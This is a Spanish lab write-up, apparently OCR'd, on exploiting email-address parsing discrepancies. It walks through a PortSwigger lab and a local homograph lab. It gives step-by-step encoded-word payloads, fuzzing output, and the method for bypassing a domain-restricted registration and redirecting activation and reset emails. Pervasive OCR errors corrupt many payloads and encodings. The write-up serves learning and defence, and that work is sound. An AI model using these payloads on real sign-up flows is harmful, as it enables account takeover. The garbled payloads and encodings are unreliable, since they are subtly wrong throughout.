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1. Reconocimientos

Este articulo se basa en la brillante investigacion de Gareth Heyes
(«Splitting the Email Atom»). A partir de sus hallazgos, nos sumergimos en
el mundo de las discrepancias en el andlisis de direcciones de correo
electréonico, desde el peculiar comportamiento de la parte local
(explorado en el laboratorio especializado de PortSwigger) hasta los
ataques de homadgrafos en dominios IDN/Punycode (con el que
experimentamos localmente). Cualquier explicacion posterior es un
esfuerzo por aprender de su tfrabajo y transmitirlo de una manera que
refuerce las estrategias defensivas y fortalezca la infraestructura del
mundo real.

2. Herramientas requeridas

e Burp Suite

e RFCUT: Generacién de variantes homogrdficas Unicode y cargas
malformadas basadas en los estdndares RFC para provocar discrepancias
en la clasificaciéon y el andlisis del correo electronico.

e Docker: Implementaciéon del laboratorio vulnerable en un entorno local
controlado.

3. Estrategia para resolver/aprovechar los
laboratorios

En este articulo seguiremos dos enfoques complementarios para
entender y explotar las discrepancias de parsing que hacen posible este
tipo de vulnerabilidades. Cada enfoque se centra en una parte
diferente de la direccidn de correo:

A) Explotacion de discrepancias en la parte local (Laboratorio oficial de
PortSwigger)

El primer enfoque se basa en el laboratorio experto oficial de
PortSwigger, cuyo diseno gira en torno a las inconsistencias en la
interpretacion de la parte local de una direccion de correo por distintos
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componentes de una aplicacion.

B) Explotacion de discrepancias en dominio (Laboratorio local reproducible)

El segundo enfoque amplia la superficie de ataque trasladando la
atencion de la parte local al dominio, cenfrdndonos especificamente
en homaografos.

Gareth termina la investigacion ejecutando un RCE derivado del
aprovechamiento de discrepancias con payloads malformados
(punycode), si quieres saber mds te recomiendo leer la investigacion
completa.

Nota de seguridad importante: Todos los scripts y payloads
gue incluyo estdn destinados exclusivamente al laboratorio
de PortSwigger y a entornos controlados. No los utilice
contra sistemas sin autorizacion. Los vectores, scripts y
payloads presentados se basan en ejemplos proporcionados
en la investigacion de Portswigger.

4. Anatomia de un correo elecironico

Antes de profundizar en los dos enfoques de explotacion, es esencial
comprender como se estructura una direccion de correo electronico.

4.1 Estructura

Una direccion de email se compone de dos partes separadas por @:

local-part@domain

e Local-part: suele representar el buzdn o usuario.
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e Dominio: identifica el servidor responsable del correo.

Ambas partes estan reguladas por distintas RFCs (local-part: RFC 5321,
RFC 5322, RFC 6531; dominio: RFC 3490, RFC 3492, RFC 5890-5893), y
admiten mds variaciones de las que la mayoria de desarrolladores
imaginan.

4.2 El local-part: mds cadtico de lo que parece

Aunque a simple vista parezca que el local-part solo admite caracteres
alfanuméricos, la realidad es que:

e Puede incluir simbolos (., +, = %, |, etc.).

e Puede contener secuencias entre comillas ("...").

e Puede representarse en distintos charsets dependiendo del
sistema.

e Su validacion suele variar enormemente entre frameworks, librerias
y Servicios.

Este “caos contfrolado” provoca que distintos componentes de una
misma aplicacion interpreten la misma direccion de formas divergentes.
Esta discrepancia es la base del enfoque A.

4.3 El dominio: ASCII, IDN y punycode

La parte del dominio también tiene su complejidad, especialmente
desde la introduccién de los Internationalised Domain Names (IDN).

Estos permiten dominios con caracteres no ASCII (&, U, A, SN, etc.)

mediante un sistema de codificacion llomado punycode.
Por ejemplo:

pdc.com — xn--pc-eys.com
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El problema aparece cuando:

Un sistema decodifica el punycode y otro no.
e Un validador considera malformado un dominio que ofro acepta.

e Una libreria interpreta un cardcter Unicode de forma distinta a
otra.

e Se mezclan caracteres homografos o equivalentes, lo que puede
causar que un validador margue como vdlido un dominio distinto.

Esta inconsistencia en la normalizacion y validacion del dominio
constituye el vector que explotaremos en el enfoque B.

5. Enfoque A - Discrepancias en la parte
local

En este primer enfoque nos centraremos exclusivamente en la parte
local de la direccidn de correo electronico y en cdmo diferentes
interpretaciones de encoding y charsets pueden provocar
discrepancias entre componentes de una aplicacion.

Para ello utilizaremos el laboratorio experto oficial de PoriSwigger, que
estd disenado especificamente para explotar este tipo de
comportamientos.

5.1 ;Qué es “encoded-word”?

Uno de los conceptos clave en este laboratorio es el uso de encoded-
word, un mecanismo definido en la RFC 2047 que permite representar
texto no ASCII dentro de cabeceras de correo electrénico.
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El formato general es el siguiente:

=?charset?encoding?encoded-text?=

Donde:

e charset indica el conjunto de caracteres (UTF-8, UTF-16, ISO-8859-1,
etc.).

e encoding suele ser:
o b — Baseb4d
o g — Quoted-Printable

e encoded-text es el contenido codificado.

El problema es que no todos los componentes de una aplicacion
procesan el encoded-word de la misma forma ni en el mismo momento.

e Un frontend valida la direccion sin decodificar.

e Un backend decodifica el encoded-word antes de comparar
identidades.

e Una libreria intermedia solo soporta ciertos charsets.

e FEl encoded-word no se interpreta durante el registro, pero si se
decodifica en el momento de enviar el correo.

Esto hace posible que una misma direccion sea:

e Esto hace posible que una misma direccidon sea vdlida durante el
registro,
e Pero seresuelva a un destinatario distinto al enviar el correo.

Esta diferencia de interpretacion entre fases del flujo es exactamente la
discrepancia que explotaremos en el laboratorio.
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5.1.1 Codificando manualmente un local-part con encoded-word

Para explotar este laboratorio es fundamental entender cémo construir
manualmente un encoded-word y qué ocurre en cada fase del
procesamiento.

5.1.1.1 Encoded-word con Baseé4 y UTF-8 (caso bdsico)
Supongamos que queremos representar el texto:
admin

En UTF-8, la representacion en bytes es directa:
admin

Codificando esos bytes en Baseb4 obtenemos:

YWRtaw4=

Es importante no eliminar el cardcter = del resultado Baseé4 cuando se
utiliza Baseé4 en un encoded-word.

RFC 2047 define explicitamente el encoding B de la siguiente forma:

“The ‘B’ encoding is identical to the ‘BASE64’ encoding defined
by RFC 2045.”

A su vez, RFC 2045 establece que Base b4 requiere padding con = cuando
la longitud de los datos no es multiplo de 3.

Construimos el encoded-word:
=2utf-8?b?YWRtaWd="2=
Usado como local-part del email:

=?2utf-8?b?Y¥YWRtaWd="=@victim.com
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5.1.1.2 Encoded-word con Q-Encoding y UTF-8

El Q-Encoding (Quoted-Printable) es otra forma vdlida definida en la
RFC 2047. En este caso, los bytes se representan como valores
hexadecimales precedidos por =.

De nuevo, partimos del texto:
admin

En UTF-8:

admin

Aplicando Q-Encoding:
=61=64=6D=69=6E

Construimos el encoded-word:
=?2utf-8?g?=61=64=6D=69=6E7?=
Y lo usamos como direccion:

=?2utf-82g?=61=64=6D=69=6E?=Qvictim.com

5.1.1.3 Encoded-word con Baseé4 e IMAP UTF-7
Ademds de UTF-8, algunas librerias de correo todavia soportan IMAP
Modified UTF-7, una variante definida en la RFC 3501 para representar

Unicode usando Unicamente ASCII.
Esta variante se caracteriza por:

e representarlos caracteres Unicode como UTF-16 Big Endian,
e codificarlos en Baseé4 modificado (, en lugar de /, sin padding =),

e encapsular el resultado entre los delimitadores & vy -.

Partimos otfra vez del texto:
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admin
En UTF-16 Big Endian, admin se representa como:
00 61 00 64 00 e6d 00 69 00 ee

Es importante notar que estos valores representan bytes reales, no una
cadena textual del tipo "\x00\xé1". Baseé4 opera directamente sobre
bytes, no sobre su representacion en texto.

Codificamos estos bytes usando Baseé4 estdndar y, a continuacion,
aplicamos las modificaciones propias de IMAP UTF-7 (eliminacion del
padding =y sustitucion de / por ,)

AGEAZABtAGkAbg
Sintaxis IMAP UTF-7 (Encapsulamos el resultado entre & v -)
&AGEAZABtAGkAbg-

Hasta este punto ya tenemos una representacion IMAP UTF-7 vdlida en
ASCII. Para poder incluirla dentro de un encoded-word con encoding b,
codificamos ahora esta cadena ASCIl completa usando Baseé4:

JkFHRUFaQUJ0QUArQWInLQ==

Construimos el encoded-word:
=?2utf-7?b?JkFHRUFaQUJI0QUArQWInLQ=="2=

Usado como local-part:
=2utf-7?b?JkFHRUFaQUJOQUdrQWJInLQ==?=@victim.com
5.1.1.4 Encoded-word con Q-Encoding e IMAP UTF-7

Partiendo del mismo valor IMAP UTF-7 obtenido anteriormente:
&AGEAZABtAGkAbg-

Construimos el encoded-word:

=?utf-72q?&AGEAZABtAGKAbg-?=
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Usado como local-part:

=2utf-7?q?&AGEAZABtAGkAbg-?=@victim.com

Lliegados a este punto surge una duda evidente: gpor qué estamos
usando g en el encoded-word si el contenido no parece estar
Q-encoded?

La clave estd en que, aunqgue el valor &AGEAZABTAGKADg- no aplica
Q-encoding adicional, sigue siendo una cadena ASCII vdlida dentro de
un encoded-word con encoding Q. Es decir, no todos los valores
marcados como g tienen por qué contener secuencias =XX.

Ademads, este mismo contenido también puede representarse aplicando
Q-encoding de forma explicita, escapando el cardcter &:

De Sintaxis email UTF-7 (Encapsulamos el resultado entre &y -)
§AGEAZABtAGkAbg-

Codificariamos en Q-Encoding

=26AGEAZABtAGkAbg-

Construimos el encoded-word:
=2utf-729?=26AGEAZABtAGkAbg-?=

Usado como local-part:

=?2utf-7?q?=26AGEAZABtAGkAbg-?=Q@victim.com

5.1.1.5 Encoded-word con Baseé4 e ISO-8859-1
Ademas de UTF-8, muchas implementaciones de correo siguen
soportando ISO-8859-1 (Latin-1), un charset de un solo byte

ampliamente utilizado en sistemas legacy.

Partimos del texto:

Cylum

12



admin

En ISO-8859-1, la representacion en bytes es directa:
admin

Codificamos estos bytes usando Baseb64:

YWRtaW4=

Construimos el encoded-word:
=?150-8859-1?b?YWRtaW4="=

Usado como local-part:

=?150-8859-1?b?YWRtaW4=?=Q@victim.com

5.1.1.6 Encoded-word con Q-Encoding e ISO-8859-1
En Q-encoding (RFC 2047), los caracteres ASCIl imprimibles pueden

representarse directamente sin necesidad de escape.
Partiendo del mismo texto:

admin

Codificamos estos bytes usando Q-encoding:
=61=64=6d=69=6e

Construimos el encoded-word:
=2150-8859-17g?=61=64=6d=69=6e?=

Usado como local-part:

=?21580-8859-17g?=61=64=6d=69=6e?=@victim.com

5.1.1.7 Encoded-word con Baseé4 y charsets personalizados
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El estdndar de encoded-word no impone una lista cerrada de charsets
vdlidos. Segun la RFC 2047, el nombre del charset es un identificador
textual, y muchas implementaciones no verifican su existencia real.

Dependiendo del parser, el charset puede ser:

e ignorado,
e fratado como ASCII,

e o normalizado a un charset por defecto.

Esto permite el uso de charsets personalizados, en este caso usaremos X,
Util para pruebas o para evitar bloqueos por palabras clave relativos a
charsets conocidos.

Partimos de nuevo del texto:

admin

Codificado en Baseéb4:

YWRtaWd=

Construimos el encoded-word usando un charset arbitrario:
=?x?b?YWRtaW4="=

Usado como local-part:

=?xX?b?YWRtaW4="?=Qvictim.com

5.1.1.8 Encoded-word con Q-Encoding y charsets personalizados
Los charsets personalizados también pueden combinarse con Q-

encoding.
Partiendo del mismo contenido:

admin
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Codificamos estos bytes usando Q-encoding:
=61=64=6d=69=6e

Construimos el encoded-word:
=?x?g?=61=64=6d=69=6e?=

Usado como local-part:

=?x?2q?=61=64=6d=69=6e?=Qvictim.com

5.2 Resolucion manvual al laboratorio

El objetivo de este laboratorio es aprovechar las discrepancias en el
tratamiento que la aplicacion hace del correo electronico durante el
proceso de registro y activacion de cuentas.

Al acceder a la funcionalidad de registro, observamos un banner que
indica que solo se permiten direcciones de correo pertenecientes al
dominio ginandjuice.shop.

Register

If you work for GinAndJuice, please use your @ginandjuice shop email address

Username

Register
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Cualquier intento de registro con un dominio distinto es rechazado.

Register

If you work for GinAndJuice, please use your {@ginandjuice shop email address

Email

Register

La pregunta clave es:

sCcOmo crear una cuenta si no tfenemos acceso a ningln correo de
ginandjuice.shop?

La respuesta pasa por identificar discrepancias en cémo los distintos
componentes de la aplicacion validan, normalizan y finalmente utilizan
la direccidon de correo electronico.

La idea es intentar incrustar una direccion de correo completa y
controlada dentro de la parte local, de forma que:

e durante el registro se procese como un email vdlido del dominio
permitido

poc@controled.com@ginandjuice.shop

e pero en fases posteriores (envio del correo de activacion) se
decodifique y se utilice Unicamente la direccion controlada.
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Antes de automatizar nada, es fundamental seguir una aproximacion
manual y metddica, observando el comportamiento de la aplicacion
en cada fase.

Metodologia manual

1. Determinar qué charsets y encodings son aceptados por el
formulario.

2. Andlizar:
o mensajes de error
o diferencias de validacion
o normalizacion visible

3. Probar distintos payloads combinando charsets y encodings
validos.

4. Verificar la interaccion con un correo bajo nuestro conftrol.

5. Completar el proceso de creacion y activacion de la cuenta.

5.2.1 Enumeracion de charsets y encodings aceptados

El primer paso de la metodologia consiste en determinar si el formulario
de registro acepta encoded-words en la parte local del correo
electronico, y en caso afirmativo, qué combinaciones de charset y
encoding son procesadas sin error.

En esta fase no se intenta todavia ninguna explotacion, sino Unicamente
observar el comportamiento del sistema frente a distintas codificaciones
vdlidas segun RFC 2047.

Todas las pruebas parten de un correo base permitido por el formulario:
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poc@ginandjuice.shop

A partir de este valor, se construyen distintas variantes utilizando
encoded-words con diferentes charsets y encodings.

Encoded-word con Baseé4 y UTF-8:
=2utf-8?b?cG9j?=@ginandjuice.shop
Encoded-word con Q-Encoding y UTF-8
=?2utf-82g?=70=6f=637?=@ginandjuice.shop
Encoded-word con Baseé4 e IMAP UTF-7
=2utf-7?b?JkFIQUFid0JgLQ==?=@ginandjuice.shop
Encoded-word con Q-Encoding e IMAP UTF-7
=2utf-7?gq?&AHAAbWRBj-?=@ginandjuice.shop
=2utf-7?gq?=26AHAAbwBj-?=@ginandjuice. shop
Encoded-word con Baseé4 e ISO-8859-1
=2150-8859-1?b?cG9j?=@ginandjuice.shop
Encoded-word con Q-Encoding e ISO-8859-1
=?21s580-8859-17g?=70=6f=63?=@ginandjuice.shop
Encoded-word con Baseé4 y charsets personalizados
=?x?b?cG9j?=@ginandjuice.shop

Encoded-word con Q-Encoding y charsets personalizados

=?x?2q?=70=6f=63?=@ginandjuice.shop
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5.2.2 Andlisis del comportamiento de validacién

Durante las pruebas realizadas en el apartado anterior es fundamental
analizar cémo responde la aplicaciéon ante los distintos inputs, mds alld
de un simple “aceptado / rechazado”.

Se deben observar especialmente:

e Mensajes de error: variaciones en el texto, en el momento en que
aparecen o en el componente que los genera.

¢ Diferencias de validacién: valores aceptados durante el registro
pero rechazados en fases posteriores del flujo.

e Normalizacion visible: si el email se muestra modificado,
decodificado, reinterpretado o tfruncado en algin punto de la
interfaz.

ails with the ginandjuice.shop

Registration blocked for security reason

andjuice.shop
Registration blocked for security reason

Registration blocked for security reason

Registration blocked for security reas

A partir de las pruebas realizadas, se empieza a ver un patron en el
comportamiento del sistema:

e Todas las variantes probadas utilizando Baseé4 se registraron
“aparentemente” sin problemas, independientemente del charset
empleado.

e En cambio, la mayoria de combinaciones basadas en Q-
encoding fueron rechazadas o no llegaron a procesarse
correctamente.
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e De forma especialmente interesante, IMAP UTF-7 con Q-encoding
y sin escape explicito del cardcter & fue la Unica variante en Q-
encoding que atravesd el proceso de registro con éxito.

5.2.3 Crafting payloads

A partir del andlisis previo, hay una observacion clave que guia el resto
del laboratorio:

IMAP UTF-7 con Q-encoding y sin escape explicito
del carécter & fue la Unica variante en Q-encoding

que atravesd el proceso de registro con éxito.

Dado que esta combinacion se comporta de forma distinta al resto, se
convierte en el principal candidato para continuar la investigacion,
aunqgue sin descartar completamente el uso de Baseé4 en fases
posteriores.

A partir de este punto, el foco deja de estar en qué charsets o
encodings son aceptados, y pasa a estar en qué tipo de contenido
puede intfroducirse dentro del local-part aprovechando esa
aceptacion.

El objetivo ahora es construir payloads que permitan incrustar una
direcciéon de correo completa dentro del local-part, de forma que:

e enlafase de registro, la aplicacion interprete toda la cadena
como una direccion vdlida del dominio permitido
(@ginandjuice.shop),

e pero en fases posteriores (normalizacion, envio del correo,

interaccion con el MTA), la direccidén se decodifique de manera
distinta y se utilice Unicamente el correo bajo nuestro control.

En muchos casos, no basta con insertar directamente un correo
completo dentro del local-part.
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Los parsers de email suelen ser relativamente robustos y pueden seguir
interpretando la direccion como invdlida o unificada.

Por ello, es necesario infroducir caracteres de control o separadores
ambiguos que alteren la interpretacion del correo resultante, forzando
escenarios donde distintas capas del sistema no coinciden en cudl es la
direccion real.

Un ejemplo de destino final deseado seria lograr que el MTA procese
una direccién equivalente a:

=2utf-72q2&AHAAbWBJAEAAYWBVAG4AdABYAGSADABIAGQALGBUAGUAdJAA+-
2=@ginandjuice.shop

RCPT TO:<poc@controled.net>@ginandjuice.shop>

Para aproximarnos a este comportamiento, se disenan payloads que
cumplen fres propiedades:

e Contienen una direccidon completa dentro del local-part,

e Incorporan caracteres de control ASCIl o separadores ambiguos
(>, ", NULL, SPACE, etc.).

e Se codifican usando los charsets y encodings previamente
identificados como vdalidos.

Como dominio bajo control se utiliza el exploit-server proporcionado por
el laboratorio.

A continuacion se muestran algunos de los payloads representativos
utilizados:
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Bypassing access controls using email address parsing LAB Notsoved | A
discrepancies

Back to exploit server Back to lab

Displaying all emails @exploit-0a4300e203e3977581e133df01eb00f3.exploit-server.net and all subdomains

Inbox is empty

Ejemplo 1 — NULL byte

Normal: TPOC@exploit-0a5e002b0482f61d8063deb6301aa00dc.exploit-
server.net%00foo@ginandjuice.shop

Encoded:

=2utf-72q2 1POC&AEA-exploit&ACO-
0a5e002b0482f61d8063de6301aa00dc&AC4-exploit& ACO-server&AC4-
net&AAA-¢=@ginandjuice.shop

Ejemplo 2 - ACK

Normal:

2POC@exploit-0a5e002b0482f61d8063de6301aal00dc.exploit-
server.net[ACK]foo@ginandjuice.shop

Encoded:

=2utf-72q22POC&AEA-exploit&ACO-
0a5e002b0482f61d8063de6301aa00dc&AC4-exploit& ACO-server&AC4-
net&AAY-¢=foo@ginandjuice.shop

Ejemplo 3 - SYN

Normal:
3POC@exploit-0a5e002b0482f61d8063de6301aal00dc.exploit-
server.net[SYN]foo@ginandjuice.shop

Encoded:

=2utf-72q23POC&AEA-exploit&ACO-
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0a5e002b0482f61d8063de6301aa00dc&AC4-exploit&ACO-server&AC4-
net&ABY-2=foo@ginandjuice.shop

Ejemplo 4 - ESC

Normal:

4POC@exploit-005e002b0482f61d8063de6301aa00dc.exploit-
server.net[ESC]foo@ginandjuice.shop

Encoded:

=2utf-72q24POC&AEA-exploit&ACO-
0a5e002b0482f61d8063de6301aa00dc&AC4-exploit&ACO-server&AC4-
net&ABs-2=foo@ginandjuice.shop

Ejiemplo 5 - SPACE

Normal:

SPOC@exploit-005e002b0482f61d8063de6301aa00dc.exploit-
server.net[SPACE]foo@ginandjuice.shop

Encoded:

=2utf-72q25POC&AEA-exploit&ACO-
0a5e002b0482f61d8063de6301aa00dc&AC4-exploit&ACO-server&AC4-
net& ACA-2=foo@ginandjuice.shop

Ejiemplo 6 —,

Normal:

6POC@exploit-0a5e002b0482f61d8063de6301aa00dc.exploit-
server.net,foo@ginandjuice.shop

Encoded:

=2eutf-72q26POC&AEA-exploit&ACO-
0a5e002b0482f61d8063de6301aa00dc&AC4-exploit&ACO-server&AC4-
net& ACw-2=foo@ginandjuice.shop
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Ejemplo 7 — ,NULL

Normal:

7POC@exploit-0a5e002b0482f61d8063de6301aa00dc.exploit-
server.net,NULLfoo@ginandjuice.shop

Encoded:

=2utf-72qe7POC&AEA-exploit&ACO-
0a5e002b0482f61d8063de6301aa00dc&AC4-exploit& ACO-server&AC4-
net& ACw-&AAA-2=foo@ginandjuice.shop

Para ello mandamos al intfruder la peticion de registro:

®startattack | Pay/

Ejecutaremos y analizaremos las respuestas.

5.2.5 Verificacién con un correo bajo control

Cada payload se prueba mediante la funcionalidad de registro y se
monitorizan dos tipos de senales:

e Respuestas y mensajes devueltos por la aplicaciéon web.

e Correos recibidos en la cuenta bajo nuestro control.
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se rec... Error Timeout h Comment

tf-72q?5POCHAEA-exploit&ACO-0a..

tf- AEA:

WEb Security E%EErigggnngC%%cess controls using email address parsing BB ot coved | ]
Academy/<]

zecrt o rame | e cint |

Home | My account | Register
Please check your emails for your account registration link

De todos los payloads ensayados, Unicamente el payload numero 5
(SPACE) fue aceptado de forma consistente por el sistema.

Al inspeccionar el correo de la cuenta controlada, se confirma que la
discrepancia de interpretacion es real y explotable.

Web Security B_ypassing access controls using email address parsing - [
Aca demy discrepancies

Back to exploit server Backtolab Ba

Your email addr
Displaying all emails § it-0a5e002b0432f61d3063d Odc.exploit-server.net and all subdomains
Sent From Subject Body

Hello!

Thanks,
= ort team
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Este resultado demuestra que:

e La discrepancia entre capas existe.
e El decoding ocurre en el momento esperado.

e Elimpacto esreal y explotable.

5.2.4 Findlizacion del flujo de registro

Una vez identificado un payload funcional, se completa el proceso de
activacion de la cuenta utilizando el enlace recibido por correo.

WEb Security Bypassing access controls using email address parsing BRI Notsoved | A

Academ m discrepancies

Email client Back fo

My Account

Your username Is: t

Your emalil is: =?utf-7?q?5POC&AEA-exploit&AC0-0a5e002b04¢ e6301aa00dc&AC4-exploit&ACO-server&ACA-net&ACA-?=fool

Email

El sistema almacena como direccidén asociada a la cuenta:

=2utf-72q25POCR&AEA-exploit&ACO-
0a5e002b0482f61d8063de6301aa00dc&AC4-exploit& ACO-server&AC4-
net&ACA-2=foo@ginandjuice.shop

Sin embargo, durante el envio de los correos posteriores, esta direccion
se decodifica internamente como:

5POC@exploit-0a5e00200482f61d8063de6301aa00dc.exploit-server.netfoo@ginandjvice-shop
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confirmando asi que la aplicacion y el sistema de correo no comparten
una interpretacion coherente de la direccién de destino.

A partir de este punto, la vulnerabilidad queda completamente
explotada.

El resto del laboratorio se resuelve accediendo al panel de
administracion y eliminando al pobre Carlos.

Finalmente, para ampliar el andilisis y desculbrir posibles combinaciones

adicionales, se automatiza la generacion de payloads utilizando RECUT,

una herramienta desarrollada especificamente para la explotacion
sistemdtica de los dos entornos descritos en este post.

5.3 Automatizacidén de la explotaciéon con RFCUT

Una vez comprendido el comportamiento del sistema mediante la
resolucidn manual, el mismo ataque puede reproducirse de forma
completamente automatizada utilizando RFCUT.

A partir de este punto, el objetivo deja de ser la construccion artesanal

de payloads y pasa a ser la exploracion de combinaciones vulnerables.
RFCUT se encarga de generar y organizar todas las variantes relevantes,

permitiendo al investigador centrarse exclusivamente en el andlisis de
resultados.

El flujo de resolucion es conceptualmente idéntico al descrito en la
seccion 4.3, pero todas las fases de enumeracion, generacion de
payloads y prueba de variantes quedan automatizadas.

5.3.1 Generacién de payloads

El primer paso consiste en crear un conjunto exhaustivo de payloads
para fuzzear el proceso de registro en busca de discrepancias.

A diferencia del enfoque manual, donde solo se prueban unas pocas
combinaciones seleccionadas, RFCUT contempla miles de
combinaciones viables, lo que manualmente llevaria mucho tiempo.
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Desde el menu principal de RFCUT se selecciona Encoded-Word Mode y
posteriormente la opcidn Fuzzer (la opcidn Single Payload se reserva
para pruebas dirigidas o generacion puntual de payloads).

[1] Encoded-Word - Local Part
[2] Punycode - Domain
[3] Exit

> 1

[ ENCODED-WORD :: MODE ]

Single payload
Fuzzer [ WARNING: may overload the service ]
Back

En este modo, RFCUT construye automdaticamente payloads que
cubren:

e Charsets relevantes.
e Q-encoding y BaseéA.
e Variantes de codificacion parcial.

e Inyeccion de caracteres de control ASCII (NULL, ACK, SYN, ESC,
SPACE, etc.).

e Inyeccion de puntuacion y separadores ambiguos.
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Cuidado, este tipo de pruebas con generacion masiva de
payloads puede provocar una carga elevada sobre el
sistema objetivo, por lo que debe emplearse de forma
controlada.

Como entrada, se proporciona a RFCUT la direccidén de correo bajo
nuestro control, de la misma forma que en la fase manual.

[ INPUT ] Enter the base email or text to process
> poc@exploit-0a3100030Ub375ae808Fb68d014600FF.exploit-server.net|

[ INPUT ] Enter the base email or text to process
> poc@exploit-0a31000304b375ae808fb68d014600FF. exploit-server.net

[ FUZZER MODE ]

[ RESULTS ]

=?utf-87q7=70=6F=63=U40=65=78=T70=6C=6F=69=74=2D=30=61=33=31=30=30=30=33=30=34=62=33=37=35=61=65=3
3=65=72=76=65=72=2E=6E=65=TU47=
=?7utf-87q?poc=Ulexploit=2D0a31000304b375ae808fb68d014600ff=2Eexploit=2Dserver=2Enet?=
=?utf-T7?q?poc&AEA-exploit&ACO-0a3100030Ub375ae808fb68d0O1U600FFEACU-exploit&ACO-serverS8ACU-net?=

=?utf-77q?poc=UBexploit=2D0a31000304b375ae808fb68d014600Ff=2Eexploit=2Dserver=2Enet=20=0D=0A=207=
=?utf-7?b?JKFIQUFid®JqQUVBQVPRQjRBSEFBYKFCdkFHaOFkQUFOQURBQVLRQXpBREVBTUFBdOFEQUFNdOF3QURRQVLNQXpBRGNH
UFHVUF1QUJ3QUd3QWJ3QnBBSFFBTFFCekFHVUF jZ0IyQUdVQWNnQXVBRZRBWLFCMEFDQUFEUUFLQUNBLQ==7=
=?x7q?=70=6F=63=U40=65=78=70=6C=6F=69=TU=2D=30=61=33=31=30=30=30=33=30=34=62=33=37=35=61=65=38=30=38=64
=72=T76=65=T2=2E=6E=65=74=20=0D=0A=207=
=?x?q?poc=UBexploit=2D0a3100030Ub375ae808fb68d01U4600FFf=2Eexploit=2Dserver=2Enet=20=0D=0A=207=
=?x?b?cG9jQGVUcGxvaXQtMGEzMTAWMDMWNGI zNzVhZTgwOGZiNjhKMDEGON jAWZmYuZXhwbG9pdC1zZXJ2ZXTubmVOIAOKIA==7=

[ WARNING ] This option may overload the service

El resultado es un conjunto extenso de payloads listos para ser utilizados
directamente contra el endpoint de registro.

Todos los payloads generados se exportan al portapapeles, permitiendo
su uso inmediato en Intruder.

5.3.2 Fuzzing
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En Intruder se selecciona la parte local del campo email como punto de
insercion y se introducen los payloads generados por RFCUT, replicando
exactamente la metodologia empleada en la fase manual.

@ Sniper attack (® start attack Payloads

Target | htt 5b .net | ¥ Update Host header to match target
g g
Clear § Auto §

rity-academy.net
XPI

onfigure a simple lig

Durante la ejecucidon se monitorean dos senales clave:

e Respuestas de la aplicacién web: aceptacién, rechazo y
diferencias de validacion.

e Correos recibidos en la cuenta bajo control.
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s .. -warning> ~ Length

Render

; Bypassing access controls using email address parsing
WEbSECUI'Ity discrepancies

Academ

Please check your emails for your account registration link

Tras ejecutar el ataque, Unicamente cuatro combinaciones consiguen
atravesar correctamente el proceso de registro:

UTF-7 + Q-encoding sin escape del cardcter & + inyeccion de
SPACE

e =2utf-72g2poc&AEA-exploit&ACO-
0a31000304b3750e808fb68d014600ff& AC4-exploit&ACO-
server&AC4-net& ACA-2=@ginandjuice.shop

UTF-8 + Baseé4 + inyeccion de SPACE

o =2uff-
82b2cGo2|QGV4cCGxvaXQtMGEZMTAWMDMWNGIZNZVhZTgwOGLZINj
hkMDEONJAWZMYUZXhwbG9pdC1zZXJ2ZXlubmVOIA==2=@ginandjui
ce.shop

ISO-8859-1 + Baseé4 + inyeccion de SPACE

o =2is0-8859-
12b2cGo|QGVAcCGxvaXQIMGEZMTAWMDMWNGIzZNzZVhZTgwOGZiN|
hkMDEONJAWZMYUZXhwbG9pdC1zZXJ2ZXlubmVOIA==2=@ginandjui
ce.shop
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custom “x” + Baseé4 + inyeccion de SPACE

o =2x2b2cGoIQGV4AcCXxvaXQIMGEZMTAWMDMWNGIzZNzVhZTgwOGZ
iNJPDKMDEONJAWZMYUZXhwbG9pdC1zZXJ2ZXIlubmVOIA==2=@ginan
djuice.shop

5.3.3 Verificacion de la discrepancia

Al revisar la cuenta de correo bajo control, se confirma que esos mismos
cuatro payloads aceptados por la aplicacidn reciben correctamente el
enlace de activacion.
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Web Security Bypassing access controls using email address parsing B ot sovea | A

Academy

discrepancies

Back to exploit server Back to lab B

Sent Subject

confirm your e

the link below confirm your
mail and

confirm your

Thank
5 rt team

o confirm your e

rt team

El comportamiento observado es consistente en fodos los casos:

e Elsistema acepta el registro como si perteneciera al dominio
permitido.
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e El correo de activacion es entregado a la cuenta controlada.

e La direccion almacenada por la aplicacion permanece en forma
codificada:

My Account

Your username is: t

Your email is- =?utf-7?q?poc&AEA-exploit&AC0-0a31000304b375ae808H68d014600ff&ACA-exploit&ACO-server&AC4-net&ACA-?=@ginandjuice shop

Email

Update email

=2eutf-72g2poc&AEA-exploit&ACO-
0a31000304b375ae808fb68d014600ff&AC4-exploit&ACO-server& AC4-
net&ACA-2=@ginandjuice.shop

El sistema de correo la decodifica posteriormente como:

poc@exploit-0a31000304b3750e808fbé68d014600ff.exploit-server.net
o ice.

confirmando de forma automdatica la misma discrepancia observada
durante la resolucion manual.

Con esto, el laboratorio queda completamente resuelto accediendo al
panel de administraciéon y eliminando a Carlos.
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6. Enfoque B - Discrepancias en la parte del
dominio

En este enfoque nos centramos en la parte del dominio de la direccion
de correo electronico, explorando coémo variaciones en caracteres
Unicode (homografos) pueden provocar discrepancias entre la
interpretacion del dominio por la aplicacion y el sistema de correo.

En determinados escenarios permiten que una aplicacién considere dos
dominios como equivalentes, mientras que el sistema de correo los trata
como enfidades completamente distintas

Para demostrarlo utilizaremos un laboratorio local que simula un entorno
vulnerable en el que es posible resetear la confrasena de un usuario
existente y, mediante dominios homografos, redirigir el enlace de
reseteo a un buzdn bajo nuestro control.

6.1 Preparacion del laboratorio

Antes de comenzar la explotacion es necesario levantar el entorno
vulnerable y preparar el escenario de ataque.

Link: https://qithub.com/VoorivexTeam/white-box-
challenges/tree/main/punycode

Despliegue del laboratorio

docker compose up -d

Acceso a la aplicacién
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Accedemos a la aplicacion web desde el navegador y creamos un
usuario ficticio.

http://localhost:3000/signup

Para visualizar correctamente la explotacion utilizaremos un dominio de
Burp Collaborator (OASTify), de modo que cualquier correo enviado a
un subdominio nos notifique automdticamente.

Dominio del colaborador:
hav9u563lcgb7070cddp3fixwo2fgégus.oastify.com

Correo de la victima:

victim@poc.hav9ub63lcgb7070cddp3fjxwo2fgbgub.oastify.com
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http://localhost:3000/signup

Full Name

poc

Email address

victim@poc.havOu563lcqb7070cddp3fjxwo

Password

Create Account

Already have an account? Login

Con el entorno preparado, pasamos a analizar por qué este ataque es
posible.

6.2 Homografos Unicode: el verdadero origen del
problema

Un homaografo es un cardcter que, aunque pertenece a un conjunto
Unicode distinto, es visualmente indistinguible o extremadamente similar
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a otfro cardcter ASCII.

Por ejemplo:

poc.com

poc.com

Para un usuario, y en muchos casos para la propia aplicacién, ambos
dominios parecen idénticos.

Sin embargo, a nivel interno no lo son.
El problema aparece cuando:

e La aplicacidon web normaliza o compara cadenas usando
collations Unicode permisivas.

